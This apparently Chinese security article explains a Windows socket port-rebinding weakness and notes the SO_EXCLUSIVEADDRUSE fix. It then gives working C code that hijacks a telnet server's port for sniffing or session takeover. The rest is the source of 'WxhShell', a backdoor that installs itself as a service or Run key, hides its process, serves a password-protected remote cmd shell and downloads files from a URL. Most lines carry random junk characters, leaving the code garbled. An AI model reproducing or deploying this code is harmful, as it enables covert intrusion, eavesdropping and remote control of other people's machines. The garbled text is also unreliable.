在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
d9Q%GG0] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*f4KmiQ~% 'kh%^_FH7 saddr.sin_family = AF_INET;
(b{
{B$O Nju7!yVM_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
" jeJV,% |Cen5s
W& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,/d-o;W P%/+?(? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Np/[MC x &9I2" 这意味着什么?意味着可以进行如下的攻击:
2}}~\C}o+ |Zt=8}di 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
n:#ji|wM .qVdo+M%F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
g:2/!tujL (O<lVz@8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P{}Oe
*9" Cog:6Gnw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-Z;:_"&9 KX9ZwsC0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+pFz&)? R/b=!< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
RMvlA'c >K
&b,o,[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xeHu-J!P Mq7|37(N[ #include
XBr>K>( #include
~z
aV.3# #include
FcWu#}.p} #include
b#y}VY)? DWORD WINAPI ClientThread(LPVOID lpParam);
Awr]@%I int main()
?.Kl/8ml {
sV*Q8b* WORD wVersionRequested;
A{c6XQR~z DWORD ret;
,%jJ
,G, WSADATA wsaData;
-#i%4[v BOOL val;
S3=J1R, SOCKADDR_IN saddr;
ILVbbC`D SOCKADDR_IN scaddr;
X<?;-HrS; int err;
%(e=Q^= SOCKET s;
H{}6`;W SOCKET sc;
>N3{*W int caddsize;
u3<])}I' HANDLE mt;
3n/L;T,X DWORD tid;
x[?_F wVersionRequested = MAKEWORD( 2, 2 );
o j^U err = WSAStartup( wVersionRequested, &wsaData );
pE`(kD if ( err != 0 ) {
y>#j4%D~4 printf("error!WSAStartup failed!\n");
O:U@m@7 return -1;
tT
v@8f }
h!Q>h7 saddr.sin_family = AF_INET;
fSP~~YSeU LNg1q1P3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
rvG qUmSUs RS:0xN\JN saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Y.73I83-j saddr.sin_port = htons(23);
s R~&S)) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8t^"1ND {
iIT<{m&` printf("error!socket failed!\n");
\Dc\H) return -1;
L fi]s }
*[U:'o`67 val = TRUE;
yjpjJ //SO_REUSEADDR选项就是可以实现端口重绑定的
_I!Xr!!)a0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
s,}<5N]U {
mA."*)8VNg printf("error!setsockopt failed!\n");
3}+/\:q* return -1;
a}
/Vu" }
w Vof_'F1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
646yeQ1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
l?~ci
;lG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
nqH^%/7)A@ eS"gHldz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
i~.[iZf| {
d.+vjMI ret=GetLastError();
_c&*'IY[V printf("error!bind failed!\n");
a_ P[J8j return -1;
S ~_% }
(kHR$8GFM listen(s,2);
bXW)n<y while(1)
^"Y'zIL {
gB"Tc[l1 caddsize = sizeof(scaddr);
J'EK5=H //接受连接请求
EH3G|3^xz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
W>~%6K>p if(sc!=INVALID_SOCKET)
SQ!lgm1bA {
DG-vTr mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V588Leb? if(mt==NULL)
D7.P {
?
1{S_ printf("Thread Creat Failed!\n");
+E:(-$"R break;
[0LqZ<\5 }
;!}SgzSH} }
pd1m/: CloseHandle(mt);
e^GW[lT }
a(~YrA%~ closesocket(s);
Z)A+ wM WSACleanup();
Tc(R-Wi return 0;
l!y
_P }
v6VhXV6$| DWORD WINAPI ClientThread(LPVOID lpParam)
J9FNjM[qe {
QT$1D[> SOCKET ss = (SOCKET)lpParam;
}ELCnN SOCKET sc;
9/M!S[N9 unsigned char buf[4096];
Sg$\ab $ SOCKADDR_IN saddr;
iq:[+ long num;
C6M/$_l&a DWORD val;
hyKg=Foq DWORD ret;
cQ41NX@I //如果是隐藏端口应用的话,可以在此处加一些判断
X-,y[ ) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\ Sby(l saddr.sin_family = AF_INET;
zrO|L|F&P saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
1.H!A@ saddr.sin_port = htons(23);
xUpb1R if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;"^9L {
"T
u[n\8 printf("error!socket failed!\n");
cOZ^huK return -1;
_ICDtG^ }
PL$F;d val = 100;
Pu*HZW3l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dO;vcgvb {
{l&2Kd* ret = GetLastError();
cu^*x/0, return -1;
$ F7gH }
'F?Znd2L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%`'z^W {
eJGos!>* ret = GetLastError();
]C6[`WF return -1;
7B\(r~f`t }
_1> 4Q% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
F6c[v|3 {
DIp:S&q2 printf("error!socket connect failed!\n");
51opP8 closesocket(sc);
x5z4Yv^
m closesocket(ss);
d"6]? return -1;
v6-~fcX0G }
>X,Ag while(1)
,."(Gp {
Y0yO`W4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5[2.5/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
|id79qY7g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^=Ct Aa2 num = recv(ss,buf,4096,0);
JX/4=.. if(num>0)
hAr[atu87 send(sc,buf,num,0);
+%qSB9_>N{ else if(num==0)
t-m9n*\j1 break;
nuO3UD3 num = recv(sc,buf,4096,0);
hRa(<Z K if(num>0)
9X$#x90 send(ss,buf,num,0);
+#uNQ`1v else if(num==0)
)=E~CpKV break;
;IuK2iDt< }
yEUNkZ5^ closesocket(ss);
k g,ys4 closesocket(sc);
g{W6a2 return 0 ;
}K/}(zuy1Y }
!jnqA Z HA9Nr.NqC@ *pTO|x{ ==========================================================
[%84L@:h , |.*, 下边附上一个代码,,WXhSHELL
@nx}6?p\, [CDX CV-z ==========================================================
:q>oD-b$} bwSRJFqb #include "stdafx.h"
YQ@dl =(.mf #include <stdio.h>
>' ksXA4b #include <string.h>
XewXTd#x #include <windows.h>
Oj"pj:fB #include <winsock2.h>
5X `w&(]m #include <winsvc.h>
:m*!?QGdL #include <urlmon.h>
MvZ+n 5 dfe@$ #pragma comment (lib, "Ws2_32.lib")
oEenm\ZI #pragma comment (lib, "urlmon.lib")
c?.r"5# h0F0d^W. #define MAX_USER 100 // 最大客户端连接数
pkXfsi-Nu #define BUF_SOCK 200 // sock buffer
<V$Y6(uMs #define KEY_BUFF 255 // 输入 buffer
#QTfT&m+G} i'W_;Y} #define REBOOT 0 // 重启
d; mmM\3] #define SHUTDOWN 1 // 关机
qe5tcv}u U]V3DDN #define DEF_PORT 5000 // 监听端口
bkr~13S{+ 3$?9uMl# #define REG_LEN 16 // 注册表键长度
z^gQ\\,4 #define SVC_LEN 80 // NT服务名长度
Uz6{>OCvk| ?W[J[cb // 从dll定义API
( zn_8s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s[G|q5n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
S'Z70 zJ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z(g%ue\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
~\IF9! Io$w|~x // wxhshell配置信息
u}K5/hC struct WSCFG {
3>-[B`dD( int ws_port; // 监听端口
ydwK!j0y char ws_passstr[REG_LEN]; // 口令
T}n N=Q4 int ws_autoins; // 安装标记, 1=yes 0=no
,|T*|2Gm char ws_regname[REG_LEN]; // 注册表键名
)XLj[6j0 char ws_svcname[REG_LEN]; // 服务名
J)9 AnGWe char ws_svcdisp[SVC_LEN]; // 服务显示名
fL ~1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
/=8O&1=D char ws_passmsg[SVC_LEN]; // 密码输入提示信息
w^06z, int ws_downexe; // 下载执行标记, 1=yes 0=no
FU_fCL8yA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
K0tV'Ml#" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
F&=I7i iYk':iv}S };
i{o#3 +7| [b // default Wxhshell configuration
oN *SRaAp struct WSCFG wscfg={DEF_PORT,
YV5Yx-+3w$ "xuhuanlingzhe",
nd.57@*M 1,
EzR%w*F>Q "Wxhshell",
H_VEPp,T "Wxhshell",
d{er|$E? "WxhShell Service",
WMW1B}Z3 "Wrsky Windows CmdShell Service",
Q;4}gUmI$ "Please Input Your Password: ",
FX
H0PK 1,
:lUX5j3 "
http://www.wrsky.com/wxhshell.exe",
*8z"^7?^= "Wxhshell.exe"
L
;6b+I };
^#]c0 iJFr4o/R // 消息定义模块
):e+dt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/+>)"D6' char *msg_ws_prompt="\n\r? for help\n\r#>";
ov8
ByJc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
he"L*p*H char *msg_ws_ext="\n\rExit.";
`,+#! ) char *msg_ws_end="\n\rQuit.";
Eu|sWdmf
l char *msg_ws_boot="\n\rReboot...";
w#oGX char *msg_ws_poff="\n\rShutdown...";
G3G/xC" char *msg_ws_down="\n\rSave to ";
Z+ixRch@-s KacR?Al char *msg_ws_err="\n\rErr!";
djWcbC=g_ char *msg_ws_ok="\n\rOK!";
]fj- `== bG"HD?A_ char ExeFile[MAX_PATH];
aYqm0HCT int nUser = 0;
2d-{Q8Pi HANDLE handles[MAX_USER];
uS~#4;R int OsIsNt;
|pJC:woq ?]^zD k@~ SERVICE_STATUS serviceStatus;
zJ;Rt9<7- SERVICE_STATUS_HANDLE hServiceStatusHandle;
N#4N?BBP" +=7:4LFOL // 函数声明
62Mdm3 int Install(void);
wq UQ"d int Uninstall(void);
w!\3ICB int DownloadFile(char *sURL, SOCKET wsh);
vYdR ht\( int Boot(int flag);
9e!vA6Fx void HideProc(void);
.jA\f:u# int GetOsVer(void);
um7o !yg, int Wxhshell(SOCKET wsl);
K1OkZ6kl void TalkWithClient(void *cs);
4jQ'+ 2it int CmdShell(SOCKET sock);
w]nX?S8 int StartFromService(void);
Z0$] tS int StartWxhshell(LPSTR lpCmdLine);
.oEbEs gw^'{b VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;FU|7L$H VOID WINAPI NTServiceHandler( DWORD fdwControl );
kx:jI^ /;Yy@oc // 数据结构和表定义
Fi4UaJ3K SERVICE_TABLE_ENTRY DispatchTable[] =
zPR8f-U vw {
}# Doy{T {wscfg.ws_svcname, NTServiceMain},
Mu{BUtkzG {NULL, NULL}
/_)l|<k+V };
&+01+-1hW $
KB // 自我安装
%D`o int Install(void)
(Sv>NQp {
oZN'HT char svExeFile[MAX_PATH];
/1d<P! H HKEY key;
.po>qb6 strcpy(svExeFile,ExeFile);
(u&`Ij9 w_Uh // 如果是win9x系统,修改注册表设为自启动
KxIyc7. if(!OsIsNt) {
jnJZ#=) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
sZg6@s= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7&U&E| RegCloseKey(key);
irKIy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O,s. D,S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aC!EWgwW[ RegCloseKey(key);
gl8Ib<{ return 0;
z)-c#F@% }
QM'X@ }
=lp1Z> }
N|K4{Frm else {
@MbVWiv z-r2!^q27 // 如果是NT以上系统,安装为系统服务
tU@zhGb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
j}f[W [2 if (schSCManager!=0)
!yJICjXj {
)8,|-o= SC_HANDLE schService = CreateService
gb" 4B%Hm (
:Ht;0|[H schSCManager,
s{}]D{bc wscfg.ws_svcname,
BPv>$
m+. wscfg.ws_svcdisp,
:TalW~r| SERVICE_ALL_ACCESS,
pQa:pX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
b5a.go SERVICE_AUTO_START,
.0p^W9 SERVICE_ERROR_NORMAL,
Yh<WA>= svExeFile,
/=: j9FF NULL,
=QOg 6 NULL,
vXE0%QE'Q NULL,
[?0d~Q(R# NULL,
9902+pW NULL
6.WceWBR );
12UD19! if (schService!=0)
A7Po 3n%Q {
}G
VX>p CloseServiceHandle(schService);
==N{1gO] CloseServiceHandle(schSCManager);
hz:pbes strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
i3$$,W! strcat(svExeFile,wscfg.ws_svcname);
b KtD"JG\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dT|vYK}\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
soRv1) el RegCloseKey(key);
4?\:{1X= return 0;
~`ny@WD9 }
IxZb$h[ }
qet>1< CloseServiceHandle(schSCManager);
S$,'Q^~K }
#%0Bx3uM }
yLE7>48 ^x>Qf(b return 1;
n2B){~vE }
NoE*/!Sr Qn@Pd* DR // 自我卸载
ZBT1Y.qA int Uninstall(void)
hj%ye~|~ {
`l;n:]+ HKEY key;
l7H
qo) {76c%<`WaP if(!OsIsNt) {
Fb`a~c~s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GzXUU@p RegDeleteValue(key,wscfg.ws_regname);
nfSbM3D]h RegCloseKey(key);
*a;@* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'rp }G&m RegDeleteValue(key,wscfg.ws_regname);
`]Fx.)C# RegCloseKey(key);
g[RI.&? return 0;
^hNgm.I }
vX0f,y }
}D411228 }
6tHO!`}1 else {
h,aA w#NE* kft#R#m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
VVH.2&`I if (schSCManager!=0)
vE@!{* {
x3jb%`o#! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<h%O?mkC if (schService!=0)
"Ve.cP,7( {
QO;N9ZI if(DeleteService(schService)!=0) {
@SZM82qU2z CloseServiceHandle(schService);
];'v8)Y CloseServiceHandle(schSCManager);
`>0MNmu return 0;
mMsTyM-f }
_XJ2fA ) CloseServiceHandle(schService);
\drqG&wl }
BdlVabQyKW CloseServiceHandle(schSCManager);
"k]CW\H6z }
3vcO!6Z5 }
R\o<7g-| 7VcmVq}X return 1;
-~?J+o+Pr" }
:RoBl3X= (Yp+bS(PU* // 从指定url下载文件
'YNT8w/3 int DownloadFile(char *sURL, SOCKET wsh)
x77l~=P+! {
!x!07`+^u HRESULT hr;
64hk2a8 char seps[]= "/";
tOfg?)h{dc char *token;
*OuStr \o char *file;
LPMU8Er char myURL[MAX_PATH];
fS~;>n%R char myFILE[MAX_PATH];
': N51kC vAyFm dJ^ strcpy(myURL,sURL);
[9Ss#~ token=strtok(myURL,seps);
6iCrRjY* while(token!=NULL)
X]P:CY {
^]{R.(#z file=token;
J,Ks0MA token=strtok(NULL,seps);
<.Nx[!'~&d }
e{m2l2Tx: H$I=W>; GetCurrentDirectory(MAX_PATH,myFILE);
lk( }- strcat(myFILE, "\\");
Zd')57{ strcat(myFILE, file);
XR;eY:89 send(wsh,myFILE,strlen(myFILE),0);
v^1pN>#%g send(wsh,"...",3,0);
[_}J F}6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
yp({>{u7 if(hr==S_OK)
9;B0Mq
py return 0;
~W{2Jd else
d%o&+l# return 1;
u)~C;f) |v$JCU3!A }
DKBSFm{~Q ]{ntt}3G, // 系统电源模块
Qx+%"YO int Boot(int flag)
6x%h6<#xh* {
j'HZ\_ HANDLE hToken;
njWL U! TOKEN_PRIVILEGES tkp;
n\^Tq<] a [D<1CF if(OsIsNt) {
9R7A8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
jbS\vyG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
U
15H2-` tkp.PrivilegeCount = 1;
,f[>L|?e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]3X@_NYj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`1bv@yzq if(flag==REBOOT) {
BEre*J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
a_'2V; return 0;
9f<MQ6_UU }
7G/1VeVjB else {
w tiny,6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Nn T1X;0W return 0;
AMyIAZnYq) }
.P7"e5ge }
pUV/Ul] else {
mqSQL}vR if(flag==REBOOT) {
IVAmV!.z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-)RH5WG S return 0;
q)^Jj?W }
<w)r`D6 else {
7r~~Y%=C| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
id2j7|$, return 0;
^$'z!+QRM }
0a-0Y&lQm }
}wHW7SJ x6e}( &p* return 1;
Ljx(\Cm }
9mmCp&~Z hNH'XQxO // win9x进程隐藏模块
!3*(N8_|# void HideProc(void)
X;"Sx#U {
'8{Ne!y *rIk:FehLB HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
--|Wh^i>? if ( hKernel != NULL )
?C&z]f3(: {
~e+\k>^eN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_YLfL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ihP|E,L=L FreeLibrary(hKernel);
{O7X`'[ }
+ EGD.S{ LYaZ1* return;
t\%HX.8[;% }
Ipq"E ,u`YT%&L // 获取操作系统版本
K%F,='P} int GetOsVer(void)
/qy-qUh3h {
:F{:Z*Fi0 OSVERSIONINFO winfo;
9/ibWa\. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-wSg2'b4E GetVersionEx(&winfo);
bdF.qO9
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
RWgNo#< return 1;
R)RG[F# else
b/{t|io{ return 0;
d[V;&U }
2gq9k}38 ~XWQhIAM4 // 客户端句柄模块
B hp-jq'!B int Wxhshell(SOCKET wsl)
O2f-5Y$@ {
2L} SJUk* SOCKET wsh;
nAjO6g6E struct sockaddr_in client;
|(q9" DWORD myID;
|qmu_x\ h?8]C#6^ while(nUser<MAX_USER)
` M3w]qJ<} {
HLZ;8/|48m int nSize=sizeof(client);
(KF=On;=Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
t<|NLk. if(wsh==INVALID_SOCKET) return 1;
s#tZg &qr;IL7' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
7|[mz> "d if(handles[nUser]==0)
@ vrV*! closesocket(wsh);
< VSA else
d
BJJZ^(
nUser++;
Yo("U8:XX }
< !dqTJos WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.P MZX%*v !Y\D?rKZ return 0;
M #=]
k }
NF0%}II&xK 5wh|=**/ // 关闭 socket
fIwV\,s void CloseIt(SOCKET wsh)
o17ekML {
pD01,5/ closesocket(wsh);
+[tE ^`-F nUser--;
Ts ^"xlK ExitThread(0);
D? 8rO" }
AG?dGj^ E7Y`|nT // 客户端请求句柄
XoCC/ void TalkWithClient(void *cs)
9J>&29@us0 {
D6Goa(!9d g47-db"5 SOCKET wsh=(SOCKET)cs;
'toa@5 char pwd[SVC_LEN];
ulkJR-""& char cmd[KEY_BUFF];
QZ:8+[oy char chr[1];
3+G@g#MY int i,j;
L.1_(3NG R%qGPO5Z\c while (nUser < MAX_USER) {
B,@c;K :SGF45>B@ if(wscfg.ws_passstr) {
L_+k12lm if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RQ'H$r.7g //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D[mSmpjE6& //ZeroMemory(pwd,KEY_BUFF);
we;G]`@? i=0;
UF<uU-C" while(i<SVC_LEN) {
-sjd&)~S[ JoN\]JL\, // 设置超时
+tk{"s^r* fd_set FdRead;
W'.s\e?gh struct timeval TimeOut;
"E8zh|m o FD_ZERO(&FdRead);
K!'AkTW+- FD_SET(wsh,&FdRead);
l*kPOyB TimeOut.tv_sec=8;
G-He" 4& $ TimeOut.tv_usec=0;
PG_0\'X)/w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
i 4%xfN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hvuIxqv !y @1 U&UH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
6C-/`>m pwd
=chr[0]; a e*Mf7
if(chr[0]==0xd || chr[0]==0xa) { ;zIP,PMM
pwd=0; e|p$d:#!
break; &Ibu>di4[
} }*ZHgf]~#
i++; 3v
mjCm
} Qum9A
NLr PSqz
// 如果是非法用户,关闭 socket &%s8L\?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i2sN3it
} #ceaZn|@m
Pj4/xX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <HJl2p N
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9(5OeH6o?
59%tXiO
while(1) { MH{GR)ng:9
|R56ho5C
ZeroMemory(cmd,KEY_BUFF); g-e#!(
k0
// 自动支持客户端 telnet标准 EloMe~a3
j=0; :{ur{m5bX
while(j<KEY_BUFF) { 7yx$Nn`(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gF0q@M y~
cmd[j]=chr[0]; 4lM8\Lr
if(chr[0]==0xa || chr[0]==0xd) { L9@&2?k
cmd[j]=0; KrXdnY8
break; 9{$<0,?
} >^Yq|~[
j++; X5`A GyX
} bg3"W,bv%
n f.wCtf].
// 下载文件 !
/NG.Wf
if(strstr(cmd,"http://")) { Da v PYg
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3`#6ACF
if(DownloadFile(cmd,wsh)) ,i0b)=!o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6}(J6T46M[
else v0kqu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b.@P%`@a.
} z OSs[[
else { C-?%uF
x+h~gckLb
switch(cmd[0]) { sU"}-de
M#4QQ} F.
// 帮助 8NU`^L:1
case '?': { !bD@aVf?5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RC^9HuR&
break; wBInq~K_
} oP2fX_v1x
// 安装 7]BW[~77
case 'i': { /% I7Vc
if(Install()) d7&eLLx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cDoo*
else `g_"GE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #k$)i[aI-
break; Y(+^;Y3U
} -wv6s#"u
// 卸载 [<,~3oRu
case 'r': { ~fa(=.h
if(Uninstall()) Y];Ycj;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >F@qpjoQE
else k;EPpr-{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8LI-gp\ 2
break; ]u-02g
}
/q@s
// 显示 wxhshell 所在路径 Ln.ZVMZ;
case 'p': { Otz E:qe
char svExeFile[MAX_PATH]; ur\qOX|{
strcpy(svExeFile,"\n\r"); J@L9p46,
strcat(svExeFile,ExeFile); {&[9iIf
send(wsh,svExeFile,strlen(svExeFile),0); Fa epDjY8
break; axk"^gps
} +"ueq
// 重启 4<X!<]3]
case 'b': { \#rO!z
d
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vMs;>lhtg
if(Boot(REBOOT)) ZCVl5R(mZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1mSaS4!"B
else { j+8TlVur
closesocket(wsh); u=&Bmn_
ExitThread(0); @cq`:_.[
} -/D|]qqHm
break; MDRe(rF=
} GOSI3RRn
// 关机 -#29xRPk
case 'd': { kL S(w??T
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kzq29S
if(Boot(SHUTDOWN)) 8z<r.joxC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l+y}4k=/
else { [WB{T3j
closesocket(wsh); Q0{z).&\(e
ExitThread(0); x3e]d$
} O}#yijU3e
break; @-#T5?
} Ze!92g
// 获取shell G_ Ay
case 's': { ^*^/]vM
CmdShell(wsh); WA)Ij(M8 p
closesocket(wsh); fMeZ]rb
ExitThread(0); -qe bQv
break; i_F$&?)
} n+D#k 8{
// 退出 (\dK4JJ
case 'x': { Gqyue7;0,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YCw('i(|
CloseIt(wsh); c[0oh.
break; m&R"2t_Z
} c-5jYwV
// 离开 nDlO5 pe"d
case 'q': { =V|Nn0E
send(wsh,msg_ws_end,strlen(msg_ws_end),0); C%ytkzG_
closesocket(wsh); ~F#A
Pt
WSACleanup(); gvnj&h.GV
exit(1); o6?l/nJ
break; &-GuKH(Y<
} kd;'}x=5yP
} ,.g}W~S)
} 0k?Sq#7q
1.SkIu%
// 提示信息 3:|-#F*k{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7aQcP
} z };ZxN
} ?En7_X{C?
>IR$e=5$
return; JJl7JwSTW
} p,n\__
.^XHuN&
// shell模块句柄 C(,=[Fi-
int CmdShell(SOCKET sock) `)[dVfxA
{ 3
Lje<KzL
STARTUPINFO si; K&UE0JO'
ZeroMemory(&si,sizeof(si)); 8Inx/>eOI
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tF`MT%{Va
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w &vhWq
PROCESS_INFORMATION ProcessInfo; e~Hr(O+;e6
char cmdline[]="cmd"; 9Q@*0-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ek[kq[U9
return 0; /Dw@d,&[
} 5.k}{{+
]
C,1%(
// 自身启动模式 ,U%=rfB~
int StartFromService(void) M5Wl3tZL
{ 9d"5wx
typedef struct &r:m&?!|VQ
{ v[D&L_
DWORD ExitStatus; @xJCn}`Zj
